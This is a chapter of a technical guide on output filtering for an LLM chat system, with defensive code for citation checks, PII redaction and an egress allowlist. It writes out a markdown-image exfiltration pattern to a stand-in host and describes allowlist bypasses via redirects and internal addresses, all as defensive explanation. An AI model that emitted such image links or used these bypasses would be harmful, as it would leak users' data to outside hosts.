Chapter 122 · Guardrails and security

Output filtering, and its limits

The last control before a user reads the answer, and the one most likely to be over-trusted. What belongs there, what cannot work there, and the egress rule that is worth more than the whole scanner.

8 min read

Output filtering is the control that feels most reassuring and does least. It sits at the very end, it is easy to build, and it is where teams put the responsibility they could not place anywhere else.

The useful framing: by the time a response exists, the restricted data has already been in the context, the request, the provider's logs and the trace. An output filter is not preventing disclosure to the system — it is preventing display to one human, and only from the small set of leaks that survive to the surface as recognisable strings.

What belongs at the output stage

Three things, all of which share a property: the check is mechanical and the signal is in the text itself.

// 1. Structural validation. Chapter 57's schema, enforced. This is the
//    most valuable thing at this layer because it is deterministic.
const parsed = ResponseSchema.safeParse(raw)
if (!parsed.success) return regenerateOnce(parsed.error)

// 2. Citation integrity. Every citation resolves to a chunk that was in
//    this run's context and that the caller may see. This catches an
//    invented reference and a reference to something retrieved for a
//    different user, which is chapter 121's cache leak surfacing.
for (const n of response.citations) {
  const chunk = run.context[n - 1]
  if (!chunk) return fail('citation out of range')
  if (!ctx.groups.includes(chunk.aclGroup)) {
    await audit.record('security.citation_outside_scope', { runId, chunkId: chunk.id })
    return fail('citation outside caller scope')
  }
}

// 3. Unsourced specifics. Chapter 110's free check: every number and date
//    in the response appears in a cited source. It fires on 0.9% of
//    answers, flags rather than blocks, and catches most invention.

The second one deserves emphasis. It is the only output check that can detect a cross-user leak, and it works because a leaked chunk still has to be cited to be used — which the citation requirement makes close to certain. A system without enforced citations has no equivalent.

What cannot work at the output stage

// Scanning for restricted content by matching against the restricted
// corpus. It fails three ways and none of them are fixable.

Paraphrase. The answer says "margins in that region run in the low teens"; the document says "14.2%". No string match fires, and a semantic match against a 340,000-chunk corpus is a retrieval problem run on every response.

Aggregation. Chapter 121's eighth path. The disclosed fact appears in no document.

Inference. "I can't discuss Northline's terms" tells the asker Northline is a customer.

// Measured, because the intuition is strong enough to need a number.
// Atlas built the scanner, ran it against 200 responses produced from
// deliberately leaked context:
//   verbatim or near-verbatim leak detected:  94%
//   paraphrased leak detected:                31%
//   aggregate leak detected:                   0%
//   inferential leak detected:                 0%
// and 3.2% false positives on 2,000 benign answers.

Ninety-four percent on the case that chapter 119's filter already prevents, and zero on the two cases nothing else catches. That distribution is why the scanner is a detector feeding the audit log rather than a gate.

An output filter catches the leaks you have already prevented and misses the ones you have not. Build it to alert, and spend the effort upstream.

PII and redaction

// A narrower job, and here output-stage work genuinely helps, because
// the patterns are structural rather than semantic.
const PATTERNS = {
  email: /\b[\w.+-]+@[\w-]+\.[\w.]{2,}\b/g,
  phone: /\b(?:\+1[-. ]?)?\(?\d{3}\)?[-. ]?\d{3}[-. ]?\d{4}\b/g,
  sin:   /\b\d{3}[- ]?\d{3}[- ]?\d{3}\b/g,
}

// With the rule that decides whether to redact: is this PII the caller is
// already entitled to? A rep reading a customer contact's email in an
// answer is the system working. The same email in an answer to someone in
// the warehouse is not.
//
// Which means redaction is a permission question, so it belongs with the
// chunk's ACL and not with a regular expression — the regex only finds
// candidates. Chapter 16 decided what should never have been indexed at
// all, which is the better place to solve most of this.

The egress allowlist

Worth more than every scanner in the chapter, and it is twenty lines.

// No tool reaches a host that is not on the list. Checked at the HTTP
// client, so a new tool inherits it without remembering to.
const ALLOWED_HOSTS = new Set([
  'docs.internal', 'orders.internal', 'tickets.internal', 'api.modelprovider.example',
])

export async function fetchGuarded(url: string, init?: RequestInit, ctx?: CallerContext) {
  const u = new URL(url)
  if (!ALLOWED_HOSTS.has(u.hostname)) {
    await audit.record('security.egress_blocked', { host: u.hostname, ctx })
    throw new Forbidden(`egress to ${u.hostname} is not permitted`)
  }
  return fetch(url, init)
}

// Three extensions that each closed a real path.

// 1. No redirects followed to a host off the list. An allowed host that
//    302s elsewhere is the obvious bypass.
//
// 2. Resolve and check the IP, not only the name, and reject private
//    ranges. A name that resolves into the internal network reaches
//    services that assume anything reaching them is trusted.
//
// 3. Markdown images in the response are egress. A rendered
//    ![](https://elsewhere.example/?d=...) makes the browser issue the
//    request, so the renderer allowlists image hosts too.

The third is the one most teams miss, and it is the cheapest exfiltration path in any chat interface: the model never calls a tool, and the user's browser makes the request on render. Chapter 99 named memory as the highest-value payload; this is how it leaves.

Streaming

// Chapter 59 streams for perceived latency, and a streamed token cannot
// be unsent. Three options, and Atlas took the third.
const OPTIONS = {
  bufferAll:    'safe, loses the whole benefit',
  filterTokens: 'a pattern spanning a chunk boundary is missed',
  bufferSentences: 'stream sentence by sentence; ~200 ms of latency',
}

// Citations and structural checks happen at the end regardless, so the
// interface renders them after the text completes rather than inline.
// A response that fails citation integrity after streaming is replaced
// with an error and audited — visible, and far better than silent.

Key points

By the time a response exists, restricted data has already been in the context, the request, the provider's logs and the trace. Output filtering prevents display, not disclosure.
Three things belong here: schema validation, citation integrity, and the unsourced-specifics check.
Citation integrity is the only output check that can catch a cross-user leak, and it works only because citations are enforced.
Scanning for restricted content caught 94% of verbatim leaks, 31% of paraphrases, and 0% of aggregate and inferential ones, with 3.2% false positives.
That distribution means it catches what you already prevented. Make it a detector, not a gate.
PII redaction is a permission question, not a pattern question. The regex finds candidates; the ACL decides.
The egress allowlist is worth more than the whole scanner. Enforce it at the HTTP client so new tools inherit it.
Block off-list redirects, resolve and check the IP against private ranges, and allowlist image hosts in the renderer — a markdown image is egress the browser performs.
Stream by sentence. Run citation and structural checks at the end, and replace a failing response visibly rather than silently.

Next: rate limiting and abuse — the controls for volume rather than content.